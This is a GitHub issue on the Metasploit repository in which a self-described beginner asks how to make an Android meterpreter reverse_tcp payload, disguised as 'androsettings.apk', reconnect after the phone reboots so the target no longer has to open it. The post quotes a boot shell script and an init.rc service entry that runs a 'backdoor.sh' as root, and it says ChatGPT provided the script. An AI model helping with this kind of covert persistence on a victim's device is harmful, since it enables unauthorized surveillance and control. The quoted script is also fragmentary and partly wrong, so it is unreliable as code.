Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

how do android/meterpreter/reverse_tcp auto connect to the session even after rebooting, so the target no longer needs to click on the payload app #19177

Open
KeiIsSuck opened this issue May 10, 2024 · 0 comments
Labels
question Questions about Metasploit Usage

Comments

@KeiIsSuck
Copy link

KeiIsSuck commented May 10, 2024

apk name : androsettings.apk (hehe)

I've looked into chatgpt but I don't quite understand
I ask to chagpt: how to make android/meterpreter/reverse_tcp auto connect to the session even though the target cellphone is already in a dead/reboot

and chatgpt answered: create a shell script that will run the payload every time the device boots, chatgpt gave me the script but, I used the script given on YouTube and https://medium.com/@AhmadCyberZone.com/android-hacking-season-3-using-a-persistence-backdoor-891817f94071 :)

chatgpt script:

#!/system/bin/sh

payload_path="/data/local/androsettings.apk"

if [ ! -f "$payload_path" ]; then
am start --user 0 -n com.example.myapp/.MainActivity
fi

and chatgpt say:
After that, make sure you have created a payload with the name "androsettings.apk" and saved it in the "/data/local/" directory. Then, add the service entry to the "init.rc" file as follows:

service start_payload /system/bin/sh /data/local/backdoor.sh (backdoor.sh from medium.com)
class main
user root
group root
oneshot

If I follow these instructions correctly will the app run/connect to my session, even though the phone is dead/rebooted without the target opening or clicking the apk again?

sorry if my question doesn't weird or is wrong, I use google translate because I have trust issues with myself

if what i typed is wrong can someone fix it plz, or if there is something better can i get a solution from you :)
i'm still a beginner

@KeiIsSuck KeiIsSuck added the question Questions about Metasploit Usage label May 10, 2024
@KeiIsSuck KeiIsSuck changed the title how do android/meterpreter/reverse_tcp auto connect to the session even after rebooting, so the target no longer needs to click on the apk payload how do android/meterpreter/reverse_tcp auto connect to the session even after rebooting, so the target no longer needs to click on the payload app May 10, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
question Questions about Metasploit Usage
Projects
None yet
Development

No branches or pull requests

1 participant